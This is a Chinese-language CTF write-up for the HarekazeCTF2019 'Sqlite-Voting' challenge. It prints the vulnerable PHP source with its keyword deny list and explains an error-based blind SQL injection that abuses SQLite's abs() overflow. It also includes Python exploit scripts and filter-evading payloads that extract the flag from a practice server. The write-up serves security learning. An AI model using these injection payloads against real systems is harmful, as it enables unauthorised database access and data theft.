[HarekazeCTF2019]Sqlite-Voting 直接给的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting (0 );if (isset ($_GET ['source' ])) { show_source (__FILE__ ); exit (); } function is_valid ($str ) { $banword = [ "[\"%'*+\\/<=>\\\\_`~-]" , '\s' , 'blob' , 'load_extension' , 'char' , 'unicode' , '(in|sub)str' , '[lr]trim' , 'like' , 'glob' , 'match' , 'regexp' , 'in' , 'limit' , 'order' , 'union' , 'join' ]; $regexp = '/' . implode ('|' , $banword ) . '/i' ; if (preg_match ($regexp , $str )) { return false ; } return true ; } header ("Content-Type: text/json; charset=utf-8" );if (!isset ($_POST ['id' ]) || empty ($_POST ['id' ])) { die (json_encode (['error' => 'You must specify vote id' ])); } $id = $_POST ['id' ];if (!is_valid ($id )) { die (json_encode (['error' => 'Vote id contains dangerous chars' ])); } $pdo = new PDO ('sqlite:../db/vote.db' );$res = $pdo ->query ("UPDATE vote SET count = count + 1 WHERE id = ${id}" );if ($res === false ) { die (json_encode (['error' => 'An error occurred while updating database' ])); } echo json_encode ([ 'message' => 'Thank you for your vote! The result will be published after the CTF finished.' ]);
当update查询成功时,返回An error occurred while updating database
,否则返回An error occurred while updating database
,可以通过构造报错进行bool注入
sqlite: 1 如果X是整数-9223372036854775808,则abs(X)引发整数溢出错误
sqlite常规注入: sqlite有一张系统表sqlite_master
,其中两个字段name
,sql
分别是所有表的表名,和表的结构(包括列名) sqlite中没有ascii
,用unicode
代替
题解 先爆出flag的长度: 先考虑对 flag16进制长度的判断,假设它的长度为 x,y 表示 2 的 n 次方,那么 x&y 就能表现出x二进制为1的位置,将这些 y 再进行或运算就可以得到完整的 x 的二进制,也就得到了 flag 的长度,而 1<<n 恰可以表示 2 的 n 次方
那么如何构造报错语句呢?在sqlite3中,abs函数有一个整数溢出的报错,如果abs的参数是-9223372036854775808就会报错,同样如果是正数也会报错 利用脚本判断flag长度
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl = "http://42d6c14f-e97e-4c02-ba69-81757f96aea0.node4.buuoj.cn:81/vote.php" l = 0 for n in range (16 ): payload = f'abs(case(length(hex((select(flag)from(flag))))&{1 <<n} )when(0)then(0)else(0x8000000000000000)end)' data = { 'id' : payload } r = requests.post(url=url, data=data) print (r.text) if 'occurred' in r.text: l = l|1 <<n print (l)
这一题对盲注语句的构造很巧妙,首先利用如下语句分别构造出 ABCDEF ,这样十六进制的所有字符都可以使用了,并且使用 trim(0,0) 来表示空字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 A = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' C = 'trim(hex(typeof(.1)),12567)' D = 'trim(hex(0xffffffffffffffff),123)' E = 'trim(hex(0.1),1230)' F = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' B = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{C} ||{F} )'
然后逐字符进行爆破,已经知道 flag 格式为 flag{} ,hex(b’flag{‘)==666C61677B ,在其后面逐位添加十六进制字符,构成 paylaod
再利用 replace(length(replace(flag,payload,’’))),84,’’) 这个语句进行判断
如果 flag 不包含 payload,那么得到的 length 必为 84,最外面的 replace 将返回 false ,通过 case when then else 构造 abs 参数为 0 ,它不报错
如果 flag 包含 payload ,那么 replace(flag, payload, ‘’) 将 flag 中的 payload 替换为空,得到的 length 必不为 84,最外面的 replace 将返回 true ,通过case when then else 构造 abs 参数为 0x8000000000000000 令其报错
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import binascii import requests URL = 'http://9519b34e-ed57-44c1-9b3d-f10029f33915.node5.buuoj.cn:81/vote.php' l = 0 i = 0 for j in range (16 ): r = requests.post(URL, data={ 'id' : f'abs(case(length(hex((select(flag)from(flag))))&{1 <<j} )when(0)then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: l |= 1 << j print ('[+] length:' , l)table = {} table['A' ] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)' table['C' ] = 'trim(hex(typeof(.1)),12567)' table['D' ] = 'trim(hex(0xffffffffffffffff),123)' table['E' ] = 'trim(hex(0.1),1230)' table['F' ] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)' table['B' ] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C" ]} ||{table["F" ]} )' res = binascii.hexlify(b'flag{' ).decode().upper() for i in range (len (res), l): for x in '0123456789ABCDEF' : t = '||' .join(c if c in '0123456789' else table[c] for c in res + x) print (t) r = requests.post(URL, data={ 'id' : f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t} ,trim(0,0))),{l} ,trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)' }) if b'An error occurred' in r.content: res += x break print (f'[+] flag ({i} /{l} ): {res} ' ) i += 1 print ('[+] flag:' , binascii.unhexlify(res).decode())
参考链接:https://blog.csdn.net/qq_46263951/article/details/119727922
参考链接:https://www.cnblogs.com/20175211lyz/p/12264779.html
Author:
odiws
Permalink:
http://odiws.github.io/2024/11/08/HarekazeCTF2019-Sqlite-Voting/
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
Do you believe in DESTINY ?